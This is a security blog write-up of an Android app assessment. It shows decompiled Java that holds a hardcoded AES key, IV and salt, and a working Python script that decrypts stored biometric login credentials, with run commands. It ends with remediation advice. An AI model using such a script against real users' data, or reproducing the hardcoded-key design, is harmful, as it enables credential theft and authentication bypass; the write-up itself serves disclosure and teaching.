Exploiting Hardcoded Cryptography in Android Biometric Storage

Introduction

During a recent mobile app security assessment, I was going through an Android APK using jadx-gui, a routine part of my reconnaissance workflow. As I went through the decompiled classes, one file caught my attention… a service named BiometricService.

Curious, I dug deeper.

What I found was a solid case of broken cryptographic design: hardcoded AES secrets directly embedded in the codebase, including the encryption key, IV, and salt. All used to protect sensitive biometric login credentials. With just the APK and a copy of the app’s shared preferences, I could decrypt a user’s email and password and completely bypass biometric authentication.

To maintain confidentiality, all identifying information about the client and application has been redacted. However, the vulnerability itself is worth sharing. I think it’s a perfect example of how insecure cryptographic practices can undermine an otherwise secure feature like biometric authentication.

This post will walk you through the discovery, exploitation, and remediation of this vulnerability using tools like Jadx and Python, with a focus on real-world attack paths and defensive coding practices that align with OWASP MASVS.

Let’s go!

Vulnerability Overview

While reversing the BiometricService class, things escalated quickly from “mildly interesting” to “critically broken”.

The app was using AES in CBC mode with PKCS7 padding to encrypt sensitive biometric login blobs. Nothing out of the ordinary so far. But then came the kicker: the entire cryptographic stack was hardcoded directly in the source code. I’m talking:

  • base64 encoded AES key embedded as a string
  • Static initialization vector (IV) reused for every encryption operation
  • Hardcoded salt used with PBKDF2WithHmacSHA1 for key derivation

Let’s break this down a bit:

  • AES/CBC/PKCS7Padding: AES in CBC (Cipher Block Chaining) mode is deterministic. If the same key and IV are used, the same plaintext always results in the same ciphertext. PKCS7 padding simply make sure that plaintext match with the AES block size (16 bytes), but it doesn’t add any integrity protection. Without an authentication layer (like a MAC or GCM), anyone can tamper with ciphertext silently.
  • Static IV reuse: In CBC mode, the IV should be unique and unpredictable for every encryption operation. Reusing a static IV allows anyone to detect when the same plaintext is encrypted, and in some cases, even launch padding oracle or block-swapping attacks. Here, the IV was fixed, making ciphertext patterns predictable.
  • Hardcoded salt in PBKDF2: Salts are meant to be unique per user and/or per device to make sure that derived keys are different, even if users share the same password or secret. A hardcoded salt defeats this purpose, essentially baking the same derived key into every single app install.

It was a complete compromise of the encryption pipeline.

Here’s what this looks like in decompiled Java:

    public BiometricService(SharedPreferences sharedPreferences) {  
        Intrinsics.checkNotNullParameter(sharedPreferences, "sharedPreferences");  
        this.sharedPreferences = sharedPreferences;  
        this.algorithm = "PBKDF2WithHmacSHA1";  
        this.secretKey = "tK5UTui+DPh8lIlBxya5XVsmeDCoUl6vHhdIESMB6sQ=";  
        this.salt = "QWlGNHNhMTJTQWZ2bGhpV3U=";  
        this.separatorTag = "[:*:]";  
        this.transformation = "AES/CBC/PKCS7Padding";  
        this.iv = "bVQzNFNhRkQ1Njc4UUFaWA==";  
        this.biometricData = "BiometricData";  
        this.biometricDataEnabled = "BiometricDataEnabled";  
    }

The biometric blob was stored in the app’s shared_prefs directory under the key BiometricData, like so:

“To demonstrate the forgery path without disclosing any sensitive data, I generated a custom biometric blob for the credentials example@example.com[:*:]Password123! using the app’s own encryption logic.”

<string name="BiometricData">
aoZw+lyPI9gjZ/Emgq3FERZPf2qdOJTKP27jpAaVMsezaA1P8dwE9I42q9ZMmUUR
</string>

Having the APK and a single shared preferences file, I was able to extract the user’s email and plaintext password by recreating the decryption logic in Python based on the encrypt and decrypt methods inside the BiometricService class.

Here’s how those methods work:

Encrypt method:

This method takes a plaintext string (like an email or password).

  1. Decodes the hardcoded IV from Base64.
  2. Converts the hardcoded key string into a char[].
  3. Uses PBKDF2WithHmacSHA1 with the hardcoded salt, key, 10,000 iterations, and 256-bit output to derive the final AES key.
  4. Initializes a Cipher object with AES/CBC/PKCS7Padding in encryption mode (cipher.init(1, ...)).
  5. Encrypts the UTF-8 plaintext and Base64-encodes the result for storage.
    public final String encrypt(String strToEncrypt) {  
        Intrinsics.checkNotNullParameter(strToEncrypt, "strToEncrypt");  
        try {  
            IvParameterSpec ivParameterSpec = new IvParameterSpec(Base64.decode(this.iv, 0));  
            SecretKeyFactory secretKeyFactory = SecretKeyFactory.getInstance(this.algorithm);  
            char[] charArray = this.secretKey.toCharArray();  
            Intrinsics.checkNotNullExpressionValue(charArray, "toCharArray(...)");  
            SecretKeySpec secretKeySpec = new SecretKeySpec(secretKeyFactory.generateSecret(new PBEKeySpec(charArray, Base64.decode(this.salt, 0), NetworkImageDecoder.IMAGE_STREAM_TIMEOUT, 256)).getEncoded(), "AES");  
            Cipher cipher = Cipher.getInstance(this.transformation);  
            cipher.init(1, secretKeySpec, ivParameterSpec);  
            byte[] bytes = strToEncrypt.getBytes(Charsets.UTF_8);  
            Intrinsics.checkNotNullExpressionValue(bytes, "getBytes(...)");  
            return Base64.encodeToString(cipher.doFinal(bytes), 0);  
        } catch (Exception e) {  
            Log.e("encrypt", "Error while encrypting: " + e);  
            return null;  
        }  
    }

Decrypt method:

The decryption method is just the opposite of the encrypt method:

  1. Decodes the same hardcoded IV.
  2. Derives the AES key using the same hardcoded inputs and PBKDF2 parameters.
  3. Initializes the cipher in decryption mode (cipher.init(2, ...)).
  4. Base64-decodes the encrypted blob and decrypts it, submit the original plaintext string.
    public final String decrypt(String strToDecrypt) {  
        Intrinsics.checkNotNullParameter(strToDecrypt, "strToDecrypt");  
        try {  
            IvParameterSpec ivParameterSpec = new IvParameterSpec(Base64.decode(this.iv, 0));  
            SecretKeyFactory secretKeyFactory = SecretKeyFactory.getInstance(this.algorithm);  
            char[] charArray = this.secretKey.toCharArray();  
            Intrinsics.checkNotNullExpressionValue(charArray, "toCharArray(...)");  
            SecretKeySpec secretKeySpec = new SecretKeySpec(secretKeyFactory.generateSecret(new PBEKeySpec(charArray, Base64.decode(this.salt, 0), NetworkImageDecoder.IMAGE_STREAM_TIMEOUT, 256)).getEncoded(), "AES");  
            Cipher cipher = Cipher.getInstance(this.transformation);  
            cipher.init(2, secretKeySpec, ivParameterSpec);  
            byte[] doFinal = cipher.doFinal(Base64.decode(strToDecrypt, 0));  
            Intrinsics.checkNotNullExpressionValue(doFinal, "doFinal(...)");  
            return new String(doFinal, Charsets.UTF_8);  
        } catch (Exception e) {  
            Log.e("decrypt", "Error while decrypting: " + e);  
            return null;  
        }  
    }

Because the cryptographic materials were static and globally reused, anyone could craft valid encrypted blobs and inject them back into the app, impersonating other users and bypassing biometric checks altogether. it was a full-on authentication bypass.

Exploit

Both of these methods were essential to constructing a working exploit script outside the app. Because the encryption and decryption flows were symmetric and completely deterministic (use of static keys, IV, and salt) it was just a matter of building the logic in Python.

From these methods, I could work out:

  • The KDF parameters (PBKDF2-HMAC-SHA, 10k iterations, 256-bit output)
  • The block cipher mode (AES/CBC/PKCS7Padding)
  • The exact structure and format of the inputs and outputs (Base64, UTF-8)

With that information, the script became a simple translation of the Java logic:

  • Load the hardcoded values
  • Derive the AES key with hashlib.pbkdf2_hmac
  • Decrypt the Base64 blob using PyCryptodome’s AES.new(...).decrypt()
  • Unpad and decode the result to reveal the plaintext credentials. Money.
#!/usr/bin/env python3
import base64, argparse, hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

SECRET_STR = "tK5UTui+DPh8lIlBxya5XVsmeDCoUl6vHhdIESMB6sQ="
SALT_B64   = "QWlGNHNhMTJTQWZ2bGhpV3U="
IV_B64     = "bVQzNFNhRkQ1Njc4UUFaWA=="
ITERATIONS = 10_000
KEY_LEN    = 32

ap = argparse.ArgumentParser()
ap.add_argument("--blob", required=True, help="Base64 BiometricData value")
args = ap.parse_args()

password = SECRET_STR.encode()
salt     = base64.b64decode(SALT_B64)
key      = hashlib.pbkdf2_hmac('sha1', password, salt, ITERATIONS, KEY_LEN)

iv         = base64.b64decode(IV_B64)
ciphertext = base64.b64decode(args.blob)
plaintext  = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext), 16)

print("[+] Decrypted value:")
print(plaintext.decode("utf-8", errors="replace"))

Running the exploit is pretty straight forward. We can setup a virtual environment:

python3 -m venv venv
source venv/bin/activate

Now we can install dependencies

pip install pycryptodome

And finally, we run the script:

python3 poc.py --blob "aoZw+lyPI9gjZ/Emgq3FERZPf2qdOJTKP27jpAaVMsezaA1P8dwE9I42q9ZMmUUR"

We get the plaintext email and password of the user:

Recommendations

This vulnerability stems from fundamental cryptographic misuses, primarily the hardcoding of encryption materials and the lack of authenticated encryption. To prevent this class of issue, developers should adopt modern cryptographic practices aligned with OWASP MASVS.

The client implemented a fix that was solid!

Key Management

  • Never hardcode keys, salts, or IVs in code or resources.
  • Use the Android Keystore (KeyGenParameterSpec) to securely generate and store per-device keys.
  • Tie key usage to biometric authentication (setUserAuthenticationRequired(true)).

IV and Salt Handling

  • Always generate a random IV for each encryption operation using a secure RNG.
  • Salts for KDFs must be unique per user or device, and stored alongside the encrypted blob (not hardcoded).

Encryption Mode

  • Avoid AES-CBC unless absolutely necessary.
  • Prefer authenticated encryption modes like AES-GCM or ChaCha20-Poly1305 which provide confidentiality and integrity out of the box.

Align with MASVS

Make sure you meet the following MASVS requirements:

  • MASVS-STORAGE-2: All sensitive data is encrypted using a secure, platform-provided API.
  • MASVS-CRYPTO-1: The app uses strong, industry-standard algorithms.
  • MASVS-CRYPTO-4: Keys and IVs are generated securely and never hardcoded.

Conclusion

This vulnerability demonstrate how insecure cryptographic implementation can entirely defeat the security promises of biometric authentication. Despite the UI implying strong protection, the design leaked sensitive credentials and allowed full authentication bypass through nothing more than static analysis and a few lines of Python.

Modern mobile apps must assume full adversary access to the APK and local storage. If your encryption can be replicated outside the app, it’s already broken.